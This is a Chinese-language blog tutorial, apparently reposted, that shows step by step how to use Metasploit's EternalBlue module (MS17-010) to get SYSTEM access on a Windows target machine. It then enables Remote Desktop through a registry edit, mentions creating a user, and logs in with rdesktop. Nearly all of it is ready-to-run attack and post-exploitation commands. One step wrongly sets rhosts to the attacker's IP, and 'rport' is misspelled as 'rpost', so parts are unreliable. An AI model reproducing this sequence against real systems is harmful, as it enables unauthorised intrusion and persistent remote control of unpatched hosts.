使用MSF通过MS17-010获取系统权限

---恢复内容开始---

Step1:开启postgresql数据库;

/etc/init.d/postgresql start

使用MSF通过MS17-010获取系统权限_第1张图片

 Step2:进入MSF中,搜索cve17-010相关的exp;

search 17-010

使用MSF通过MS17-010获取系统权限_第2张图片

   其中,auxiliary/scanner/smb/smb_ms17_010  是扫描漏洞是否存在的辅助工具

     exploit/windows/smb/ms17_010_eternalblue 是用来攻击的 exp

Step3:探测漏洞是否存在

  1、查看rhosts、rpost

use auxiliary/scanner/smb/smb_ms17_010 
show options

使用MSF通过MS17-010获取系统权限_第3张图片

   2、设置rhosts为靶机的网段,rpost为445端口;

set rhosts 攻击者的IP
exploit

使用MSF通过MS17-010获取系统权限_第4张图片

 Step4:攻击靶机

use  exploit/windows/smb/ms17_010_eternalblue
set rhosts 靶机的IP exploit

使用MSF通过MS17-010获取系统权限_第5张图片

 

 使用MSF通过MS17-010获取系统权限_第6张图片

 Step5:攻击成功后就能获取目标的system权限,创建新用户,开启3389端口

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f 

使用MSF通过MS17-010获取系统权限_第7张图片

 使用MSF通过MS17-010获取系统权限_第8张图片

 Step6:远程登录目标机

rdesktop  目标ip

使用MSF通过MS17-010获取系统权限_第9张图片

 

 成功登录目标机

 

你可能感兴趣的:(使用MSF通过MS17-010获取系统权限)